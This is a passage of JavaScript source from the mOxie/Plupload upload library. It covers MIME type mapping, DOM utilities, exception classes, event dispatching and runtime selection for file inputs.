GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/utils/Mime", [ "moxie/core/utils/Basic", "moxie/core/I18n" ], function(Basic, I18n) { var mimeData = "" + "application/msword,doc dot," + "application/pdf,pdf," + "application/pgp-signature,pgp," + "application/postscript,ps ai eps," + "application/rtf,rtf," + "application/vnd.ms-excel,xls xlb," + "application/vnd.ms-powerpoint,ppt pps pot," + "application/zip,zip," + "application/x-shockwave-flash,swf swfl," + "application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," + "application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," + "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," + "application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," + "application/vnd.openxmlformats-officedocument.presentationml.template,potx," + "application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," + "application/x-javascript,js," + "application/json,json," + "audio/mpeg,mp3 mpga mpega mp2," + "audio/x-wav,wav," + "audio/x-m4a,m4a," + "audio/ogg,oga ogg," + "audio/aiff,aiff aif," + "audio/flac,flac," + "audio/aac,aac," + "audio/ac3,ac3," + "audio/x-ms-wma,wma," + "image/bmp,bmp," + "image/gif,gif," + "image/jpeg,jpg jpeg jpe," + "image/photoshop,psd," + "image/png,png," + "image/svg+xml,svg svgz," + "image/tiff,tiff tif," + "text/plain,asc txt text diff log," + "text/html,htm html xhtml," + "text/css,css," + "text/csv,csv," + "text/rtf,rtf," + "video/mpeg,mpeg mpg mpe m2v," + "video/quicktime,qt mov," + "video/mp4,mp4," + "video/x-m4v,m4v," + "video/x-flv,flv," + "video/x-ms-wmv,wmv," + "video/avi,avi," + "video/webm,webm," + "video/3gpp,3gpp 3gp," + "video/3gpp2,3g2," + "video/vnd.rn-realvideo,rv," + "video/ogg,ogv," + "video/x-matroska,mkv," + "application/vnd.oasis.opendocument.formula-template,otf," + "application/octet-stream,exe"; var Mime = { mimes: {}, extensions: {}, // Parses the default mime types string into a mimes and extensions lookup maps addMimeType: function (mimeData) { var items = mimeData.split(/,/), i, ii, ext; for (i = 0; i < items.length; i += 2) { ext = items[i + 1].split(/ /); // extension to mime lookup for (ii = 0; ii < ext.length; ii++) { this.mimes[ext[ii]] = items[i]; } // mime to extension lookup this.extensions[items[i]] = ext; } }, extList2mimes: function (filters, addMissingExtensions) { var self = this, ext, i, ii, type, mimes = []; // convert extensions to mime types list for (i = 0; i < filters.length; i++) { ext = filters[i].extensions.split(/\s*,\s*/); for (ii = 0; ii < ext.length; ii++) { // if there's an asterisk in the list, then accept attribute is not required if (ext[ii] === '*') { return []; } type = self.mimes[ext[ii]]; if (type && Basic.inArray(type, mimes) === -1) { mimes.push(type); } // future browsers should filter by extension, finally if (addMissingExtensions && /^\w+$/.test(ext[ii])) { mimes.push('.' + ext[ii]); } else if (!type) { // if we have no type in our map, then accept all return []; } } } return mimes; }, mimes2exts: function(mimes) { var self = this, exts = []; Basic.each(mimes, function(mime) { if (mime === '*') { exts = []; return false; } // check if this thing looks like mime type var m = mime.match(/^(\w+)\/(\*|\w+)$/); if (m) { if (m[2] === '*') { // wildcard mime type detected Basic.each(self.extensions, function(arr, mime) { if ((new RegExp('^' + m[1] + '/')).test(mime)) { [].push.apply(exts, self.extensions[mime]); } }); } else if (self.extensions[mime]) { [].push.apply(exts, self.extensions[mime]); } } }); return exts; }, mimes2extList: function(mimes) { var accept = [], exts = []; if (Basic.typeOf(mimes) === 'string') { mimes = Basic.trim(mimes).split(/\s*,\s*/); } exts = this.mimes2exts(mimes); accept.push({ title: I18n.translate('Files'), extensions: exts.length ? exts.join(',') : '*' }); // save original mimes string accept.mimes = mimes; return accept; }, getFileExtension: function(fileName) { var matches = fileName && fileName.match(/\.([^.]+)$/); if (matches) { return matches[1].toLowerCase(); } return ''; }, getFileMime: function(fileName) { return this.mimes[this.getFileExtension(fileName)] || ''; } }; Mime.addMimeType(mimeData); return Mime; }); // Included from: src/javascript/core/utils/Dom.js /** * Dom.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) { /** Get DOM Element by it's id. @method get @for Utils @param {String} id Identifier of the DOM Element @return {DOMElement} */ var get = function(id) { if (typeof id !== 'string') { return id; } return document.getElementById(id); }; /** Checks if specified DOM element has specified class. @method hasClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var hasClass = function(obj, name) { if (!obj.className) { return false; } var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)"); return regExp.test(obj.className); }; /** Adds specified className to specified DOM element. @method addClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var addClass = function(obj, name) { if (!hasClass(obj, name)) { obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name; } }; /** Removes specified className from specified DOM element. @method removeClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var removeClass = function(obj, name) { if (obj.className) { var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)"); obj.className = obj.className.replace(regExp, function($0, $1, $2) { return $1 === ' ' && $2 === ' ' ? ' ' : ''; }); } }; /** Returns a given computed style of a DOM element. @method getStyle @static @param {Object} obj DOM element like object. @param {String} name Style you want to get from the DOM element */ var getStyle = function(obj, name) { if (obj.currentStyle) { return obj.currentStyle[name]; } else if (window.getComputedStyle) { return window.getComputedStyle(obj, null)[name]; } }; /** Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields. @method getPos @static @param {Element} node HTML element or element id to get x, y position from. @param {Element} root Optional root element to stop calculations at. @return {object} Absolute position of the specified element object with x, y fields. */ var getPos = function(node, root) { var x = 0, y = 0, parent, doc = document, nodeRect, rootRect; node = node; root = root || doc.body; // Returns the x, y cordinate for an element on IE 6 and IE 7 function getIEPos(node) { var bodyElm, rect, x = 0, y = 0; if (node) { rect = node.getBoundingClientRect(); bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body; x = rect.left + bodyElm.scrollLeft; y = rect.top + bodyElm.scrollTop; } return { x : x, y : y }; } // Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) { nodeRect = getIEPos(node); rootRect = getIEPos(root); return { x : nodeRect.x - rootRect.x, y : nodeRect.y - rootRect.y }; } parent = node; while (parent && parent != root && parent.nodeType) { x += parent.offsetLeft || 0; y += parent.offsetTop || 0; parent = parent.offsetParent; } parent = node.parentNode; while (parent && parent != root && parent.nodeType) { x -= parent.scrollLeft || 0; y -= parent.scrollTop || 0; parent = parent.parentNode; } return { x : x, y : y }; }; /** Returns the size of the specified node in pixels. @method getSize @static @param {Node} node Node to get the size of. @return {Object} Object with a w and h property. */ var getSize = function(node) { return { w : node.offsetWidth || node.clientWidth, h : node.offsetHeight || node.clientHeight }; }; return { get: get, hasClass: hasClass, addClass: addClass, removeClass: removeClass, getStyle: getStyle, getPos: getPos, getSize: getSize }; }); // Included from: src/javascript/core/Exceptions.js /** * Exceptions.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/Exceptions', [ 'moxie/core/utils/Basic' ], function(Basic) { function _findKey(obj, value) { var key; for (key in obj) { if (obj[key] === value) { return key; } } return null; } return { RuntimeError: (function() { var namecodes = { NOT_INIT_ERR: 1, NOT_SUPPORTED_ERR: 9, JS_ERR: 4 }; function RuntimeError(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": RuntimeError " + this.code; } Basic.extend(RuntimeError, namecodes); RuntimeError.prototype = Error.prototype; return RuntimeError; }()), OperationNotAllowedException: (function() { function OperationNotAllowedException(code) { this.code = code; this.name = 'OperationNotAllowedException'; } Basic.extend(OperationNotAllowedException, { NOT_ALLOWED_ERR: 1 }); OperationNotAllowedException.prototype = Error.prototype; return OperationNotAllowedException; }()), ImageError: (function() { var namecodes = { WRONG_FORMAT: 1, MAX_RESOLUTION_ERR: 2, INVALID_META_ERR: 3 }; function ImageError(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": ImageError " + this.code; } Basic.extend(ImageError, namecodes); ImageError.prototype = Error.prototype; return ImageError; }()), FileException: (function() { var namecodes = { NOT_FOUND_ERR: 1, SECURITY_ERR: 2, ABORT_ERR: 3, NOT_READABLE_ERR: 4, ENCODING_ERR: 5, NO_MODIFICATION_ALLOWED_ERR: 6, INVALID_STATE_ERR: 7, SYNTAX_ERR: 8 }; function FileException(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": FileException " + this.code; } Basic.extend(FileException, namecodes); FileException.prototype = Error.prototype; return FileException; }()), DOMException: (function() { var namecodes = { INDEX_SIZE_ERR: 1, DOMSTRING_SIZE_ERR: 2, HIERARCHY_REQUEST_ERR: 3, WRONG_DOCUMENT_ERR: 4, INVALID_CHARACTER_ERR: 5, NO_DATA_ALLOWED_ERR: 6, NO_MODIFICATION_ALLOWED_ERR: 7, NOT_FOUND_ERR: 8, NOT_SUPPORTED_ERR: 9, INUSE_ATTRIBUTE_ERR: 10, INVALID_STATE_ERR: 11, SYNTAX_ERR: 12, INVALID_MODIFICATION_ERR: 13, NAMESPACE_ERR: 14, INVALID_ACCESS_ERR: 15, VALIDATION_ERR: 16, TYPE_MISMATCH_ERR: 17, SECURITY_ERR: 18, NETWORK_ERR: 19, ABORT_ERR: 20, URL_MISMATCH_ERR: 21, QUOTA_EXCEEDED_ERR: 22, TIMEOUT_ERR: 23, INVALID_NODE_TYPE_ERR: 24, DATA_CLONE_ERR: 25 }; function DOMException(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": DOMException " + this.code; } Basic.extend(DOMException, namecodes); DOMException.prototype = Error.prototype; return DOMException; }()), EventException: (function() { function EventException(code) { this.code = code; this.name = 'EventException'; } Basic.extend(EventException, { UNSPECIFIED_EVENT_TYPE_ERR: 0 }); EventException.prototype = Error.prototype; return EventException; }()) }; }); // Included from: src/javascript/core/EventTarget.js /** * EventTarget.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/EventTarget', [ 'moxie/core/utils/Env', 'moxie/core/Exceptions', 'moxie/core/utils/Basic' ], function(Env, x, Basic) { /** Parent object for all event dispatching components and objects @class EventTarget @constructor EventTarget */ function EventTarget() { // hash of event listeners by object uid var eventpool = {}; Basic.extend(this, { /** Unique id of the event dispatcher, usually overriden by children @property uid @type String */ uid: null, /** Can be called from within a child in order to acquire uniqie id in automated manner @method init */ init: function() { if (!this.uid) { this.uid = Basic.guid('uid_'); } }, /** Register a handler to a specific event dispatched by the object @method addEventListener @param {String} type Type or basically a name of the event to subscribe to @param {Function} fn Callback function that will be called when event happens @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first @param {Object} [scope=this] A scope to invoke event handler in */ addEventListener: function(type, fn, priority, scope) { var self = this, list; // without uid no event handlers can be added, so make sure we got one if (!this.hasOwnProperty('uid')) { this.uid = Basic.guid('uid_'); } type = Basic.trim(type); if (/\s/.test(type)) { // multiple event types were passed for one handler Basic.each(type.split(/\s+/), function(type) { self.addEventListener(type, fn, priority, scope); }); return; } type = type.toLowerCase(); priority = parseInt(priority, 10) || 0; list = eventpool[this.uid] && eventpool[this.uid][type] || []; list.push({fn : fn, priority : priority, scope : scope || this}); if (!eventpool[this.uid]) { eventpool[this.uid] = {}; } eventpool[this.uid][type] = list; }, /** Check if any handlers were registered to the specified event @method hasEventListener @param {String} type Type or basically a name of the event to check @return {Mixed} Returns a handler if it was found and false, if - not */ hasEventListener: function(type) { var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid]; return list ? list : false; }, /** Unregister the handler from the event, or if former was not specified - unregister all handlers @method removeEventListener @param {String} type Type or basically a name of the event @param {Function} [fn] Handler to unregister */ removeEventListener: function(type, fn) { type = type.toLowerCase(); var list = eventpool[this.uid] && eventpool[this.uid][type], i; if (list) { if (fn) { for (i = list.length - 1; i >= 0; i--) { if (list[i].fn === fn) { list.splice(i, 1); break; } } } else { list = []; } // delete event list if it has become empty if (!list.length) { delete eventpool[this.uid][type]; // and object specific entry in a hash if it has no more listeners attached if (Basic.isEmptyObj(eventpool[this.uid])) { delete eventpool[this.uid]; } } } }, /** Remove all event handlers from the object @method removeAllEventListeners */ removeAllEventListeners: function() { if (eventpool[this.uid]) { delete eventpool[this.uid]; } }, /** Dispatch the event @method dispatchEvent @param {String/Object} Type of event or event object to dispatch @param {Mixed} [...] Variable number of arguments to be passed to a handlers @return {Boolean} true by default and false if any handler returned false */ dispatchEvent: function(type) { var uid, list, args, tmpEvt, evt = {}, result = true, undef; if (Basic.typeOf(type) !== 'string') { // we can't use original object directly (because of Silverlight) tmpEvt = type; if (Basic.typeOf(tmpEvt.type) === 'string') { type = tmpEvt.type; if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event evt.total = tmpEvt.total; evt.loaded = tmpEvt.loaded; } evt.async = tmpEvt.async || false; } else { throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR); } } // check if event is meant to be dispatched on an object having specific uid if (type.indexOf('::') !== -1) { (function(arr) { uid = arr[0]; type = arr[1]; }(type.split('::'))); } else { uid = this.uid; } type = type.toLowerCase(); list = eventpool[uid] && eventpool[uid][type]; if (list) { // sort event list by prority list.sort(function(a, b) { return b.priority - a.priority; }); args = [].slice.call(arguments); // first argument will be pseudo-event object args.shift(); evt.type = type; args.unshift(evt); if (MXI_DEBUG && Env.debug.events) { Env.log("Event '%s' fired on %u", evt.type, uid); } // Dispatch event to all listeners var queue = []; Basic.each(list, function(handler) { // explicitly set the target, otherwise events fired from shims do not get it args[0].target = handler.scope; // if event is marked as async, detach the handler if (evt.async) { queue.push(function(cb) { setTimeout(function() { cb(handler.fn.apply(handler.scope, args) === false); }, 1); }); } else { queue.push(function(cb) { cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation }); } }); if (queue.length) { Basic.inSeries(queue, function(err) { result = !err; }); } } return result; }, /** Alias for addEventListener @method bind @protected */ bind: function() { this.addEventListener.apply(this, arguments); }, /** Alias for removeEventListener @method unbind @protected */ unbind: function() { this.removeEventListener.apply(this, arguments); }, /** Alias for removeAllEventListeners @method unbindAll @protected */ unbindAll: function() { this.removeAllEventListeners.apply(this, arguments); }, /** Alias for dispatchEvent @method trigger @protected */ trigger: function() { return this.dispatchEvent.apply(this, arguments); }, /** Handle properties of on[event] type. @method handleEventProps @private */ handleEventProps: function(dispatches) { var self = this; this.bind(dispatches.join(' '), function(e) { var prop = 'on' + e.type.toLowerCase(); if (Basic.typeOf(this[prop]) === 'function') { this[prop].apply(this, arguments); } }); // object must have defined event properties, even if it doesn't make use of them Basic.each(dispatches, function(prop) { prop = 'on' + prop.toLowerCase(prop); if (Basic.typeOf(self[prop]) === 'undefined') { self[prop] = null; } }); } }); } EventTarget.instance = new EventTarget(); return EventTarget; }); // Included from: src/javascript/runtime/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/Runtime', [ "moxie/core/utils/Env", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/EventTarget" ], function(Env, Basic, Dom, EventTarget) { var runtimeConstructors = {}, runtimes = {}; /** Common set of methods and properties for every runtime instance @class Runtime @param {Object} options @param {String} type Sanitized name of the runtime @param {Object} [caps] Set of capabilities that differentiate specified runtime @param {Object} [modeCaps] Set of capabilities that do require specific operational mode @param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested */ function Runtime(options, type, caps, modeCaps, preferredMode) { /** Dispatched when runtime is initialized and ready. Results in RuntimeInit on a connected component. @event Init */ /** Dispatched when runtime fails to initialize. Results in RuntimeError on a connected component. @event Error */ var self = this , _shim , _uid = Basic.guid(type + '_') , defaultMode = preferredMode || 'browser' ; options = options || {}; // register runtime in private hash runtimes[_uid] = this; /** Default set of capabilities, which can be redifined later by specific runtime @private @property caps @type Object */ caps = Basic.extend({ // Runtime can: // provide access to raw binary data of the file access_binary: false, // provide access to raw binary data of the image (image extension is optional) access_image_binary: false, // display binary data as thumbs for example display_media: false, // make cross-domain requests do_cors: false, // accept files dragged and dropped from the desktop drag_and_drop: false, // filter files in selection dialog by their extensions filter_by_extension: true, // resize image (and manipulate it raw data of any file in general) resize_image: false, // periodically report how many bytes of total in the file were uploaded (loaded) report_upload_progress: false, // provide access to the headers of http response return_response_headers: false, // support response of specific type, which should be passed as an argument // e.g. runtime.can('return_response_type', 'blob') return_response_type: false, // return http status code of the response return_status_code: true, // send custom http header with the request send_custom_headers: false, // pick up the files from a dialog select_file: false, // select whole folder in file browse dialog select_folder: false, // select multiple files at once in file browse dialog select_multiple: true, // send raw binary data, that is generated after image resizing or manipulation of other kind send_binary_string: false, // send cookies with http request and therefore retain session send_browser_cookies: true, // send data formatted as multipart/form-data send_multipart: true, // slice the file or blob to smaller parts slice_blob: false, // upload file without preloading it to memory, stream it out directly from disk stream_upload: false, // programmatically trigger file browse dialog summon_file_dialog: false, // upload file of specific size, size should be passed as argument // e.g. runtime.can('upload_filesize', '500mb') upload_filesize: true, // initiate http request with specific http method, method should be passed as argument // e.g. runtime.can('use_http_method', 'put') use_http_method: true }, caps); // default to the mode that is compatible with preferred caps if (options.preferred_caps) { defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode); } if (MXI_DEBUG && Env.debug.runtime) { Env.log("\tdefault mode: %s", defaultMode); } // small extension factory here (is meant to be extended with actual extensions constructors) _shim = (function() { var objpool = {}; return { exec: function(uid, comp, fn, args) { if (_shim[comp]) { if (!objpool[uid]) { objpool[uid] = { context: this, instance: new _shim[comp]() }; } if (objpool[uid].instance[fn]) { return objpool[uid].instance[fn].apply(this, args); } } }, removeInstance: function(uid) { delete objpool[uid]; }, removeAllInstances: function() { var self = this; Basic.each(objpool, function(obj, uid) { if (Basic.typeOf(obj.instance.destroy) === 'function') { obj.instance.destroy.call(obj.context); } self.removeInstance(uid); }); } }; }()); // public methods Basic.extend(this, { /** Specifies whether runtime instance was initialized or not @property initialized @type {Boolean} @default false */ initialized: false, // shims require this flag to stop initialization retries /** Unique ID of the runtime @property uid @type {String} */ uid: _uid, /** Runtime type (e.g. flash, html5, etc) @property type @type {String} */ type: type, /** Runtime (not native one) may operate in browser or client mode. @property mode @private @type {String|Boolean} current mode or false, if none possible */ mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode), /** id of the DOM container for the runtime (if available) @property shimid @type {String} */ shimid: _uid + '_container', /** Number of connected clients. If equal to zero, runtime can be destroyed @property clients @type {Number} */ clients: 0, /** Runtime initialization options @property options @type {Object} */ options: options, /** Checks if the runtime has specific capability @method can @param {String} cap Name of capability to check @param {Mixed} [value] If passed, capability should somehow correlate to the value @param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set) @return {Boolean} true if runtime has such capability and false, if - not */ can: function(cap, value) { var refCaps = arguments[2] || caps; // if cap var is a comma-separated list of caps, convert it to object (key/value) if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') { cap = Runtime.parseCaps(cap); } if (Basic.typeOf(cap) === 'object') { for (var key in cap) { if (!this.can(key, cap[key], refCaps)) { return false; } } return true; } // check the individual cap if (Basic.typeOf(refCaps[cap]) === 'function') { return refCaps[cap].call(this, value); } else { return (value === refCaps[cap]); } }, /** Returns container for the runtime as DOM element @method getShimContainer @return {DOMElement} */ getShimContainer: function() { var container, shimContainer = Dom.get(this.shimid); // if no container for shim, create one if (!shimContainer) { container = this.options.container ? Dom.get(this.options.container) : document.body; // create shim container and insert it at an absolute position into the outer container shimContainer = document.createElement('div'); shimContainer.id = this.shimid; shimContainer.className = 'moxie-shim moxie-shim-' + this.type; Basic.extend(shimContainer.style, { position: 'absolute', top: '0px', left: '0px', width: '1px', height: '1px', overflow: 'hidden' }); container.appendChild(shimContainer); container = null; } return shimContainer; }, /** Returns runtime as DOM element (if appropriate) @method getShim @return {DOMElement} */ getShim: function() { return _shim; }, /** Invokes a method within the runtime itself (might differ across the runtimes) @method shimExec @param {Mixed} [] @protected @return {Mixed} Depends on the action and component */ shimExec: function(component, action) { var args = [].slice.call(arguments, 2); return self.getShim().exec.call(this, this.uid, component, action, args); }, /** Operaional interface that is used by components to invoke specific actions on the runtime (is invoked in the scope of component) @method exec @param {Mixed} []* @protected @return {Mixed} Depends on the action and component */ exec: function(component, action) { // this is called in the context of component, not runtime var args = [].slice.call(arguments, 2); if (self[component] && self[component][action]) { return self[component][action].apply(this, args); } return self.shimExec.apply(this, arguments); }, /** Destroys the runtime (removes all events and deletes DOM structures) @method destroy */ destroy: function() { if (!self) { return; // obviously already destroyed } var shimContainer = Dom.get(this.shimid); if (shimContainer) { shimContainer.parentNode.removeChild(shimContainer); } if (_shim) { _shim.removeAllInstances(); } this.unbindAll(); delete runtimes[this.uid]; this.uid = null; // mark this runtime as destroyed _uid = self = _shim = shimContainer = null; } }); // once we got the mode, test against all caps if (this.mode && options.required_caps && !this.can(options.required_caps)) { this.mode = false; } } /** Default order to try different runtime types @property order @type String @static */ Runtime.order = 'html5,html4'; /** Retrieves runtime from private hash by it's uid @method getRuntime @private @static @param {String} uid Unique identifier of the runtime @return {Runtime|Boolean} Returns runtime, if it exists and false, if - not */ Runtime.getRuntime = function(uid) { return runtimes[uid] ? runtimes[uid] : false; }; /** Register constructor for the Runtime of new (or perhaps modified) type @method addConstructor @static @param {String} type Runtime type (e.g. flash, html5, etc) @param {Function} construct Constructor for the Runtime type */ Runtime.addConstructor = function(type, constructor) { constructor.prototype = EventTarget.instance; runtimeConstructors[type] = constructor; }; /** Get the constructor for the specified type. method getConstructor @static @param {String} type Runtime type (e.g. flash, html5, etc) @return {Function} Constructor for the Runtime type */ Runtime.getConstructor = function(type) { return runtimeConstructors[type] || null; }; /** Get info about the runtime (uid, type, capabilities) @method getInfo @static @param {String} uid Unique identifier of the runtime @return {Mixed} Info object or null if runtime doesn't exist */ Runtime.getInfo = function(uid) { var runtime = Runtime.getRuntime(uid); if (runtime) { return { uid: runtime.uid, type: runtime.type, mode: runtime.mode, can: function() { return runtime.can.apply(runtime, arguments); } }; } return null; }; /** Convert caps represented by a comma-separated string to the object representation. @method parseCaps @static @param {String} capStr Comma-separated list of capabilities @return {Object} */ Runtime.parseCaps = function(capStr) { var capObj = {}; if (Basic.typeOf(capStr) !== 'string') { return capStr || {}; } Basic.each(capStr.split(','), function(key) { capObj[key] = true; // we assume it to be - true }); return capObj; }; /** Test the specified runtime for specific capabilities. @method can @static @param {String} type Runtime type (e.g. flash, html5, etc) @param {String|Object} caps Set of capabilities to check @return {Boolean} Result of the test */ Runtime.can = function(type, caps) { var runtime , constructor = Runtime.getConstructor(type) , mode ; if (constructor) { runtime = new constructor({ required_caps: caps }); mode = runtime.mode; runtime.destroy(); return !!mode; } return false; }; /** Figure out a runtime that supports specified capabilities. @method thatCan @static @param {String|Object} caps Set of capabilities to check @param {String} [runtimeOrder] Comma-separated list of runtimes to check against @return {String} Usable runtime identifier or null */ Runtime.thatCan = function(caps, runtimeOrder) { var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/); for (var i in types) { if (Runtime.can(types[i], caps)) { return types[i]; } } return null; }; /** Figure out an operational mode for the specified set of capabilities. @method getMode @static @param {Object} modeCaps Set of capabilities that depend on particular runtime mode @param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for @param {String|Boolean} [defaultMode='browser'] Default mode to use @return {String|Boolean} Compatible operational mode */ Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) { var mode = null; if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified defaultMode = 'browser'; } if (requiredCaps && !Basic.isEmptyObj(modeCaps)) { // loop over required caps and check if they do require the same mode Basic.each(requiredCaps, function(value, cap) { if (modeCaps.hasOwnProperty(cap)) { var capMode = modeCaps[cap](value); // make sure we always have an array if (typeof(capMode) === 'string') { capMode = [capMode]; } if (!mode) { mode = capMode; } else if (!(mode = Basic.arrayIntersect(mode, capMode))) { // if cap requires conflicting mode - runtime cannot fulfill required caps if (MXI_DEBUG && Env.debug.runtime) { Env.log("\t\t%c: %v (conflicting mode requested: %s)", cap, value, capMode); } return (mode = false); } } if (MXI_DEBUG && Env.debug.runtime) { Env.log("\t\t%c: %v (compatible modes: %s)", cap, value, mode); } }); if (mode) { return Basic.inArray(defaultMode, mode) !== -1 ? defaultMode : mode[0]; } else if (mode === false) { return false; } } return defaultMode; }; /** Capability check that always returns true @private @static @return {True} */ Runtime.capTrue = function() { return true; }; /** Capability check that always returns false @private @static @return {False} */ Runtime.capFalse = function() { return false; }; /** Evaluate the expression to boolean value and create a function that always returns it. @private @static @param {Mixed} expr Expression to evaluate @return {Function} Function returning the result of evaluation */ Runtime.capTest = function(expr) { return function() { return !!expr; }; }; return Runtime; }); // Included from: src/javascript/runtime/RuntimeClient.js /** * RuntimeClient.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/RuntimeClient', [ 'moxie/core/utils/Env', 'moxie/core/Exceptions', 'moxie/core/utils/Basic', 'moxie/runtime/Runtime' ], function(Env, x, Basic, Runtime) { /** Set of methods and properties, required by a component to acquire ability to connect to a runtime @class RuntimeClient */ return function RuntimeClient() { var runtime; Basic.extend(this, { /** Connects to the runtime specified by the options. Will either connect to existing runtime or create a new one. Increments number of clients connected to the specified runtime. @private @method connectRuntime @param {Mixed} options Can be a runtme uid or a set of key-value pairs defining requirements and pre-requisites */ connectRuntime: function(options) { var comp = this, ruid; function initialize(items) { var type, constructor; // if we ran out of runtimes if (!items.length) { comp.trigger('RuntimeError', new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR)); runtime = null; return; } type = items.shift().toLowerCase(); constructor = Runtime.getConstructor(type); if (!constructor) { initialize(items); return; } if (MXI_DEBUG && Env.debug.runtime) { Env.log("Trying runtime: %s", type); Env.log(options); } // try initializing the runtime runtime = new constructor(options); runtime.bind('Init', function() { // mark runtime as initialized runtime.initialized = true; if (MXI_DEBUG && Env.debug.runtime) { Env.log("Runtime '%s' initialized", runtime.type); } // jailbreak ... setTimeout(function() { runtime.clients++; // this will be triggered on component comp.trigger('RuntimeInit', runtime); }, 1); }); runtime.bind('Error', function() { if (MXI_DEBUG && Env.debug.runtime) { Env.log("Runtime '%s' failed to initialize", runtime.type); } runtime.destroy(); // runtime cannot destroy itself from inside at a right moment, thus we do it here initialize(items); }); /*runtime.bind('Exception', function() { });*/ if (MXI_DEBUG && Env.debug.runtime) { Env.log("\tselected mode: %s", runtime.mode); } // check if runtime managed to pick-up operational mode if (!runtime.mode) { runtime.trigger('Error'); return; } runtime.init(); } // check if a particular runtime was requested if (Basic.typeOf(options) === 'string') { ruid = options; } else if (Basic.typeOf(options.ruid) === 'string') { ruid = options.ruid; } if (ruid) { runtime = Runtime.getRuntime(ruid); if (runtime) { runtime.clients++; return runtime; } else { // there should be a runtime and there's none - weird case throw new x.RuntimeError(x.RuntimeError.NOT_INIT_ERR); } } // initialize a fresh one, that fits runtime list and required features best initialize((options.runtime_order || Runtime.order).split(/\s*,\s*/)); }, /** Disconnects from the runtime. Decrements number of clients connected to the specified runtime. @private @method disconnectRuntime */ disconnectRuntime: function() { if (runtime && --runtime.clients <= 0) { runtime.destroy(); } // once the component is disconnected, it shouldn't have access to the runtime runtime = null; }, /** Returns the runtime to which the client is currently connected. @method getRuntime @return {Runtime} Runtime or null if client is not connected */ getRuntime: function() { if (runtime && runtime.uid) { return runtime; } return runtime = null; // make sure we do not leave zombies rambling around }, /** Handy shortcut to safely invoke runtime extension methods. @private @method exec @return {Mixed} Whatever runtime extension method returns */ exec: function() { if (runtime) { return runtime.exec.apply(this, arguments); } return null; } }); }; }); // Included from: src/javascript/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/file/FileInput', [ 'moxie/core/utils/Basic', 'moxie/core/utils/Env', 'moxie/core/utils/Mime', 'moxie/core/utils/Dom', 'moxie/core/Exceptions', 'moxie/core/EventTarget', 'moxie/core/I18n', 'moxie/runtime/Runtime', 'moxie/runtime/RuntimeClient' ], function(Basic, Env, Mime, Dom, x, EventTarget, I18n, Runtime, RuntimeClient) { /** Provides a convenient way to create cross-browser file-picker. Generates file selection dialog on click, converts selected files to _File_ objects, to be used in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through _XMLHttpRequest_. @class FileInput @constructor @extends EventTarget @uses RuntimeClient @param {Object|String|DOMElement} options If options is string or node, argument is considered as _browse\_button_. @param {String|DOMElement} options.browse_button DOM Element to turn into file picker. @param {Array} [options.accept] Array of mime types to accept. By default accepts all. @param {String} [options.file='file'] Name of the file field (not the filename). @param {Boolean} [options.multiple=false] Enable selection of multiple files. @param {Boolean} [options.directory=false] Turn file input into the folder input (cannot be both at the same time). @param {String|DOMElement} [options.container] DOM Element to use as a container for file-picker. Defaults to parentNode for _browse\_button_. @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support. @example <div id="container"> <a id="file-picker" href="javascript:;">Browse...</a> </div> <script> var fileInput = new mOxie.FileInput({ browse_button: 'file-picker', // or document.getElementById('file-picker') container: 'container', accept: [ {title: "Image files", extensions: "jpg,gif,png"} // accept only images ], 